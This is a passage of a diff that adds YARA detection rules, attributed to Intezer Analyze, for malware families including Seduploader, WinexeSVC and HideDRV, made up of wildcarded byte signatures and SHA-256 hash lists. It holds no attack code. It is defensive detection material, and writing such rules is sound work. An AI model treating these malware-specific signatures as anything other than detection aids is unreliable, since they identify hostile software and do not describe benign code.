+		hash.sha256(0, filesize) == "d4525abc9dd2b7ab7f0c22e58a0117980039afdf15bed04bb0c637cd41fbfb9d" or
+		hash.sha256(0, filesize) == "72ee0330474c00ec15576112b33e8198b1272e0e3f44fce3800af79821b7e431" or
+		hash.sha256(0, filesize) == "8325cd6e26fb39cf7a08787e771a6cf708e0b45350d1ea239982af06db90804f" or
+		hash.sha256(0, filesize) == "280905558e848f5bb9ab923e6e44002480464a8bdeb50f00b6757e1fff8b46fb" or
+		hash.sha256(0, filesize) == "dea4e560017b4da05e8fd0a03ba74239723349934ee8fbd201a79be1ecf1c32d" or
+		hash.sha256(0, filesize) == "638e7ca68643d4b01432f0ecaaa0495b805cc3cccc17a753b0fa511d94a22bdd" or
+		hash.sha256(0, filesize) == "b93e55763bd8dec8944410e4e00d0f174640905b99629d8111819528593d1c2a" or
+		hash.sha256(0, filesize) == "aa2914cc937b6eb4e703955cbf576e8d783af2164ddd9ec759dd9ad2cc71d42a" or
+		hash.sha256(0, filesize) == "ee8636cfa3521c7f9cc7588221d1edc0eed7ba68256b72e3dc2a4a75a6bd5b87" or
+		hash.sha256(0, filesize) == "6c69b9bda696d416cb22b775f9a63f98dd4e634f003e3b0704cbb67721b13dde" or
+		hash.sha256(0, filesize) == "ea957d663dbc0b28844f6aa7dfdc5ac0110a4004ac46c87d0f1aa943ef253cfe" or
+		hash.sha256(0, filesize) == "ddab96e4a8e909065e05c4b6a73ba351ea45ad4806258f41ac3cecbcae8671a6" or
+		hash.sha256(0, filesize) == "6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82" or
+		hash.sha256(0, filesize) == "a1c73ce193ffa5323aaef73fbabbc2a984e10900f09cf9fcb0cb11606a23c402" or
+		12 of them
+}
+
+rule SeduploaderPayload2 {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 5? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 83 ?? ?? 5? 8D ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 33 ?? 5? FF 7? ?? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_3 = { 6A ?? 68 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? FF 7? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_4 = { 0F B6 ?? 89 ?? ?? 8A ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 80 C? ?? 75 }
+		$block_5 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_6 = { 5? 33 ?? 6A ?? 5? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 5? 85 ?? 75 }
+		$block_7 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 8B ?? ?? 8B ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_8 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 5? 5? 6A ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_9 = { 33 ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_10 = { FF 7? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? 8B ?? 5? C9 C3 }
+		$block_11 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 6A ?? FF 7? ?? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_12 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 33 ?? 8D ?? ?? AB AB 8B ?? 33 ?? 33 ?? E8 ?? ?? ?? ?? 3B ?? 74 }
+		$block_13 = { 83 ?? ?? ?? 8D ?? ?? 5? FF 7? ?? FF D? 8B ?? ?? 33 ?? 84 ?? 0F 44 ?? 33 ?? 85 ?? 0F 94 }
+		$block_14 = { FF 7? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 8B ?? 5? C9 C3 }
+		$block_15 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? C6 ?? ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_16 = { 5? 8B ?? 83 ?? ?? 5? 5? 6A ?? FF 7? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_17 = { 5? 8B ?? 83 ?? ?? 5? 6A ?? FF 7? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_18 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? 5? 5? 89 ?? ?? 8B ?? ?? 5? C9 C2 }
+		$block_19 = { FF 7? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 33 ?? 4? 85 ?? 5? 0F 45 ?? E8 ?? ?? ?? ?? 83 }
+		$block_20 = { 81 7? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 0F 85 }
+		$block_21 = { 5? E8 ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 8B ?? ?? 0F B6 }
+		$block_22 = { 8D ?? ?? 89 ?? ?? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 8B ?? 83 ?? ?? 89 ?? 33 ?? 39 ?? 0F 45 ?? 03 ?? 89 ?? ?? 8D ?? ?? 3B ?? 72 }
+		$block_24 = { 8B ?? 33 ?? AB AB AB 83 ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? EB }
+		$block_25 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 5? 5? 89 ?? 8B ?? ?? 5? C9 C2 }
+		$block_26 = { FF 7? ?? E8 ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 8B ?? 5? C9 C2 }
+		$block_27 = { 0F B6 ?? 89 ?? ?? 8A ?? ?? ?? ?? ?? ?? 0F B6 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_28 = { 5? 5? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_29 = { FF 7? ?? E8 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? C9 C2 }
+		$block_30 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 84 ?? 0F 85 }
+		$block_31 = { 8D ?? ?? 5? 8D ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_32 = { 0F B7 ?? 8B ?? 81 E? ?? ?? ?? ?? 03 ?? 66 ?? ?? ?? 66 ?? ?? ?? 74 }
+		$block_33 = { 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_34 = { 0F B7 ?? 8B ?? 66 ?? ?? ?? 25 ?? ?? ?? ?? 03 ?? 66 ?? ?? ?? 74 }
+		$block_35 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 89 ?? ?? 5? 5? 83 ?? ?? 0F 82 }
+		$block_36 = { 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_37 = { 5? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_38 = { FE ?? ?? 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 8A ?? 88 ?? 88 ?? 75 }
+		$block_39 = { 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 8B ?? ?? 8B ?? ?? 6A ?? 0F 85 }
+		$block_40 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 4? ?? 83 ?? ?? ?? 0F 82 }
+		$block_41 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 89 ?? ?? 83 ?? ?? 0F 82 }
+		$block_42 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 0F B6 ?? ?? 8A ?? ?? FE ?? ?? 88 ?? ?? ?? ?? ?? ?? 75 }
+		$block_44 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 5? 33 ?? 8B ?? 85 ?? 0F 84 }
+		$block_45 = { FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 5? ?? 5? C9 C3 }
+		$block_46 = { 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 8B ?? ?? 8B ?? ?? 0F 85 }
+		$block_47 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 5? C9 C2 }
+		$block_48 = { 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 85 ?? 0F 84 }
+		$block_49 = { 8B ?? 8B ?? ?? 66 ?? ?? 0F 95 ?? ?? 66 ?? ?? ?? 74 }
+		$block_50 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? C9 C2 }
+		$block_51 = { 5? 89 ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 39 ?? ?? 0F 84 }
+		$block_52 = { 5? 8B ?? 5? 5? 8B ?? 5? 33 ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_53 = { 85 ?? 89 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 44 }
+		$block_54 = { 8B ?? ?? 8B ?? ?? 5? 5? C6 ?? ?? ?? ?? 5? C9 C3 }
+		$block_55 = { 8B ?? 4? 99 F7 ?? 8B ?? 80 C? ?? 88 ?? 85 ?? 75 }
+		$block_56 = { 5? 8B ?? 5? 5? 8B ?? 5? 33 ?? 8B ?? 85 ?? 0F 84 }
+		$block_57 = { FF 7? ?? E8 ?? ?? ?? ?? 5? 8B ?? 5? 5? 5? C9 C3 }
+		$block_58 = { 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 5? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18" or
+		hash.sha256(0, filesize) == "aeeab3272a2ed2157ebf67f74c00fafc787a2b9bbaa17a03be1e23d4cb273632" or
+		hash.sha256(0, filesize) == "0ac7b666814fd016b3d21d7812f4a272104511f90ca666fa13e9fb6cefa603c7" or
+		hash.sha256(0, filesize) == "f50791f9909c542e4abb5e3f760c896995758a832b0699c23ca54b579a9f2108" or
+		hash.sha256(0, filesize) == "6b8c44ba1d8ed34b9c3ce7142f9a09a8b50aa1a40a45774bec23c0f59aad0117" or
+		hash.sha256(0, filesize) == "df47a939809f925475bc19804319652635848b8f346fb7dfd8c95c620595fe9f" or
+		hash.sha256(0, filesize) == "c3b2c7bbd2aa1e3100b9382ed78dfa0041af764e0e02013acdf282410b302ead" or
+		hash.sha256(0, filesize) == "69940a20ab9abb31a03fcefe6de92a16ed474bbdff3288498851afc12a834261" or
+		hash.sha256(0, filesize) == "11cd541511cc793e7416655cda1e100d0a70fb043dfe7f6664564b91733431d0" or
+		hash.sha256(0, filesize) == "8c47961181d9929333628af20bdd750021e925f40065374e6b876e3b8afbba57" or
+		hash.sha256(0, filesize) == "12e6642cf6413bdf5388bee663080fa299591b2ba023d069286f3be9647547c8" or
+		hash.sha256(0, filesize) == "0a842c40cdbbbc2bf5a6513e39a2bd8ea266f914ac93c958fda8c0d0048c4f94" or
+		hash.sha256(0, filesize) == "3b87bfb837339445987cdf2e97169cb0c63072dc1d5bffa8ffb4af108a410988" or
+		hash.sha256(0, filesize) == "3ac11a74275725a22c233cd974229d2b167c336da667410f7262b4926dabd31b" or
+		hash.sha256(0, filesize) == "dfa8a85e26c07a348a854130c652dcc6d29b203ee230ce0603c83d9f11bbcacc" or
+		hash.sha256(0, filesize) == "73db52c0d4e31a00030b47b4f0fa7125000b19c6c9d462c3d0ce0f9d68f04e4c" or
+		hash.sha256(0, filesize) == "b6fff95a74f9847f1a4282b38f148d80e4684d9c35d9ae79fad813d5dc0fd7a9" or
+		hash.sha256(0, filesize) == "430902c206ab08581de0500ad2f23a77e4915680edb8437c151c77bab6e6cbc3" or
+		hash.sha256(0, filesize) == "5a414a39851c4e22d4f9383211dfc080e16e2caffd90fa06dcbe51d11fdb0d6c" or
+		hash.sha256(0, filesize) == "853dbbba09e2463c45c0ad913d15d67d15792d888f81b4908b2216859342aa04" or
+		hash.sha256(0, filesize) == "500fa112a204b6abb365101013a17749ce83403c30cd37f7c6f94e693c2d492f" or
+		hash.sha256(0, filesize) == "57d230ddaf92e2d0504e5bb12abf52062114fb8980c5ecc413116b1d6ffedf1b" or
+		hash.sha256(0, filesize) == "eae782130b06d95f3373ff7d5c0977a8019960bdf80614c1aa7e324dc350428a" or
+		hash.sha256(0, filesize) == "1140c624fbfe28b9ef19fef2e9aa251adfbe8c157820d5f0356d88b4d80c2c88" or
+		12 of them
+}
+
+rule WinexeSVC {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 31 ?? B9 ?? ?? ?? ?? 48 ?? ?? F3 ?? ?? 48 ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 31 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 4D ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? 31 ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 45 ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? FF D? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 85 }
+		$block_3 = { FF 1? ?? ?? ?? ?? C1 ?? ?? 03 ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? 41 ?? ?? 89 ?? E8 ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? ?? ?? 41 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? 41 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_5 = { 0F 1F ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF D? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF D? BA ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? FF D? 8B ?? ?? 85 ?? 0F 85 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF D? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF D? BA ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? FF D? 8B ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 45 ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 89 ?? 48 ?? ?? ?? ?? C1 ?? ?? A9 ?? ?? ?? ?? 0F 44 ?? 49 ?? ?? ?? 89 ?? 4C ?? ?? ?? 00 ?? 48 ?? ?? 49 ?? ?? ?? 48 ?? ?? 45 ?? ?? 41 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+		$block_9 = { 41 ?? 41 ?? 41 ?? 41 ?? 5? 5? 5? 5? 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "a4a838150809d833f84ab590f2ef566be777d12655c1f2c5df17c895497262fa" or
+		hash.sha256(0, filesize) == "993d38b57284ebead293296c4aaf4ecffe4f8ac63ca115ae9463368b407cef97" or
+		10 of them
+}
+
+rule SeduploaderDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 41 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_1 = { 0F B7 ?? ?? 4C ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 74 }
+		$block_2 = { 41 ?? ?? ?? 0F B6 ?? ?? ?? 88 ?? ?? ?? 88 ?? ?? ?? 8B ?? 0F B6 ?? ?? ?? 03 ?? 41 ?? ?? 7D }
+		$block_3 = { FF 1? ?? ?? ?? ?? 4C ?? ?? 41 ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_4 = { 0F B6 ?? 0F B6 ?? 0F AF ?? 8A ?? ?? 02 ?? ?? ?? ?? ?? 32 ?? 4? 88 ?? ?? 83 ?? ?? 72 }
+		$block_5 = { FF D? 5? 5? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 5? 5? 33 ?? B0 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_6 = { FF 7? ?? 33 ?? 5? 5? FF 7? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 9D }
+		$block_7 = { 40 ?? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? 48 ?? ?? 3B ?? ?? 0F 83 }
+		$block_8 = { 5? 5? BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A4 BE ?? ?? ?? ?? 8D ?? ?? A5 66 ?? 33 }
+		$block_9 = { 42 ?? ?? ?? ?? ?? 0F 95 ?? 83 ?? ?? 88 ?? ?? 48 ?? ?? ?? 49 ?? ?? 0F 87 }
+		$block_10 = { 42 ?? ?? ?? ?? 0F 95 ?? 83 ?? ?? 88 ?? ?? 48 ?? ?? ?? 49 ?? ?? 0F 87 }
+		$block_11 = { 6A ?? FF 7? ?? 6A ?? 5? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_12 = { 42 ?? ?? ?? 83 ?? ?? 8D ?? ?? 89 ?? ?? 3B ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_13 = { 4C ?? ?? ?? 48 ?? ?? 8B ?? 48 ?? ?? FF 5? ?? 45 ?? ?? 84 ?? 0F 84 }
+		$block_14 = { 0F B6 ?? ?? ?? ?? ?? 03 ?? 03 ?? ?? 33 ?? 4? 89 ?? 83 ?? ?? 72 }
+		$block_15 = { 40 ?? ?? 0F B6 ?? 8A ?? ?? ?? 42 ?? ?? ?? ?? 44 ?? ?? ?? ?? 75 }
+		$block_16 = { 45 ?? ?? ?? 40 ?? ?? ?? 0F B6 ?? ?? ?? 44 ?? ?? 45 ?? ?? 7D }
+		$block_17 = { 49 ?? ?? 48 ?? ?? 45 ?? ?? 66 ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_18 = { 8B ?? 4D ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? 0F 86 }
+		$block_19 = { 8B ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_20 = { 6A ?? 5? 6A ?? 6A ?? FF 7? ?? FF D? 8B ?? 83 ?? ?? 0F 84 }
+		$block_21 = { 5? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 5? 0F 85 }
+		$block_22 = { 42 ?? ?? ?? 83 ?? ?? 89 ?? ?? 48 ?? ?? ?? 49 ?? ?? 0F 87 }
+		$block_23 = { 4A ?? ?? ?? 83 ?? ?? 48 ?? ?? ?? 89 ?? ?? 49 ?? ?? 0F 87 }
+		$block_24 = { 0F B6 ?? ?? ?? ?? ?? 03 ?? 03 ?? 33 ?? 4? 83 ?? ?? 72 }
+		$block_25 = { 8B ?? 83 ?? ?? 4A ?? ?? ?? 8D ?? ?? 41 ?? ?? 0F 87 }
+		$block_26 = { 48 ?? ?? ?? 4C ?? ?? ?? 45 ?? ?? 49 ?? ?? 0F 87 }
+		$block_27 = { 4A ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? 41 ?? ?? 0F 87 }
+
+	condition:
+		hash.sha256(0, filesize) == "2884e438b4dbb3bcead37789908e2eb210ead820dfc03091dc7f46b50ddd1e5b" or
+		hash.sha256(0, filesize) == "69d5123a277dc1f618be5edcc95938a0df148c856d2e1231a07e2743bd683e01" or
+		hash.sha256(0, filesize) == "4bcd11142d5b9f96730715905152a645a1bf487921dd65618c354281512a4ae7" or
+		hash.sha256(0, filesize) == "63d0b28114f6277b901132bc1cc1f541a594ee72f27d95653c54e1b73382a5f6" or
+		hash.sha256(0, filesize) == "ff808d0a12676bfac88fd26f955154f8884f2bb7c534b9936510fd6296c543e8" or
+		12 of them
+}
+
+rule Seduploader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 6A ?? 68 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? FF 7? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_1 = { 0F B6 ?? 89 ?? ?? 8A ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 80 C? ?? 75 }
+		$block_2 = { 33 ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 6A ?? FF 7? ?? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 5? 5? 6A ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_5 = { 83 ?? ?? ?? 8D ?? ?? 5? FF 7? ?? FF D? 8B ?? ?? 33 ?? 84 ?? 0F 44 ?? 33 ?? 85 ?? 0F 94 }
+		$block_6 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? C6 ?? ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_7 = { 5? E8 ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 8B ?? ?? 0F B6 }
+		$block_8 = { 8B ?? 33 ?? AB AB AB 83 ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? EB }
+		$block_9 = { 0F B6 ?? 89 ?? ?? 8A ?? ?? ?? ?? ?? ?? 0F B6 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_10 = { 0F B7 ?? 8B ?? 66 ?? ?? ?? 25 ?? ?? ?? ?? 03 ?? 66 ?? ?? ?? 74 }
+		$block_11 = { 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_12 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 89 ?? ?? 83 ?? ?? 0F 82 }
+		$block_13 = { 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 85 ?? 0F 84 }
+		$block_14 = { 8B ?? 4? 99 F7 ?? 8B ?? 80 C? ?? 88 ?? 85 ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "f5b3f920cdd1ea42905caf7f0894194aaf5096b9a90c77ac06139dcb42018f9e" or
+		12 of them
+}
+
+rule HideDRV {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 45 ?? ?? 45 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_1 = { 48 ?? ?? ?? ?? 0F B7 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 7D }
+		$block_2 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_3 = { 8B ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 74 }
+		$block_4 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_5 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_6 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_7 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F BF ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_8 = { BA ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 84 }
